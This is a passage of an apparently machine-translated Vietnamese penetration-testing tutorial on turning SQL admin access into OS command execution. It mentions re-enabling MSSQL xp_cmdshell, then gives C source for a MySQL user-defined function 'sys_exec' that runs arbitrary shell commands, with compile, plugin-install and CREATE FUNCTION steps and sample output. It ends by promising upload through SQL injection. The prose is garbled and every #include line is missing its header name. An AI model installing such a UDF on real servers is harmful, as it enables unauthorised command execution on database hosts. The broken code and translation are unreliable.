Sử dụng UDF trong kiểm tra thâm nhập


Trong một thử nghiệm thâm nhập, chúng ta có thể ném mình vào một tình huống mà chúng tôi có quyền truy cập quản trị SQL chỉ. Như thường lệ, chúng tôi muốn đi sâu hơn vào hệ thống mạng. Đôi khi cách duy nhất để thực hiện điều đó là để thực hiện các lệnh trên hệ thống phục vụ các máy chủ SQL hiện tại.

Nếu máy chủ xảy ra là một MSSQL, cách đơn giản nhất để làm điều đó là để có được lợi thế của xp_cmdshell lưu trữ. Các trường hợp xấu nhất sẽ xảy ra nếu xp_cmdshell lỗi , nhưng điều này có thể dễ dàng được hoàn tác chỉ bằng cách truy vấn này: sp_configure 'xp_cmdshell', '1'
Các chủ đề của bài viết này, mặc dù là để thêm một vũ khí quan trọng hơn đối với kho vũ khí của tôi trong trường hợp của một máy chủ MySQL, nơi không có xp_cmdshell hoặc thủ tục lưu trữ tương đương; chúng ta sẽ nói về những UDF (User Defined Function) trong MySQL. Cụ thể hơn, chúng ta sẽ dần dần tạo ra một UDF mà chạy các lệnh hệ thống thông qua một máy chủ MySQL.
 
"Trong cơ sở dữ liệu SQL, một chức năng người dùng định nghĩa cung cấp một cơ chế cho việc mở rộng các chức năng của máy chủ cơ sở dữ liệu bằng cách thêm một chức năng mà có thể được đánh giá trong báo cáo SQL ". - http://en.wikipedia.org/wiki/User-defined_function

Để cho cơ chế UDF để làm việc, các chức năng mà sẽ được sử dụng nên được viết bằng C hoặc C ++. Để giữ cho các bài đơn giản như có thể, chúng ta sẽ tạo một hàm C mà chỉ cần chạy lệnh hệ thống. (Các chức năng C sau đây là một phiên bản sửa đổi của thư viện lib_mysqludf_sys có sẵn tại
http://www.mysqludf.org/lib_mysqludf_sys/index.php)
#ifdef STANDARD
#include
#include
#include
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include
#include
#endif
#include
#include
#include
#include

#include

#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif

#define LIBVERSION "lib_mysqludf_sys version 0.0.3"

#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(UDF_INIT *initid){}

char* sys_exec(UDF_INIT *initid, UDF_ARGS *args, char* result, unsigned long* length,
char *is_null, char *error)
{
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;

result = malloc(1);
outlen = 0;

pipe = popen(args->args[0], "r");

while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}

pclose(pipe);

if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen] = 0x00;
*length = strlen(result);
}

return result;
}

#endif /* HAVE_DLOPEN */
Bây giờ chúng ta biên dịch mã trên bằng cách sử dụng đầu ra các mysql_config --cflags để có được những biên soạn hệ thống cụ thể, giống như dưới đây:
gcc `mysql_config --cflags` -shared -fPIC -o sys_exec.so udf.c
Bước tiếp theo là để sao chép các thư viện trong thư mục /usr/lib/mysql/plugin folder.

TIP: Các thư mục trên là mặc định của MySQL thư mục plugin trên Linux. Nếu bạn không có nó, điều đầu tiên cần làm là kiểm tra đầu ra của lệnh SQL: SHOW VARIABLES LIKE 'plugin_dir' ;. Nếu lệnh này không tạo ra thì có nghĩa là các thư mục plugin là không xác định và bạn có thể xác định nó sử dụng lệnh này tại shell: "echo 'plugin_dir = / usr / lib / mysql / plugin' >> /etc/my.cnf . "

điều cuối cùng trước khi thực hiện chức năng là để nhập nó thông qua MySQL với :
mysql> CREATE FUNCTION sys_exec RETURNS INTEGER SONAME "sys_exec.so"

So by calling the function and passing the command parameter we get the output on our screen:
mysql> select sys_exec('id');
+-----------------------------------------------+
| sys_exec('id') |
+-----------------------------------------------+
| uid=89(mysql) gid=89(mysql) groups=89(mysql)
|
+-----------------------------------------------+
1 row in set (0.01 sec)
Những bài viết này sẽ theo sẽ thảo luận về một kịch bản trường hợp thực tế của việc sử dụng SQL injection để tải lên một hàm UDF trên một máy chủ MySQL và sử dụng nó để tạo ra và ngược lại.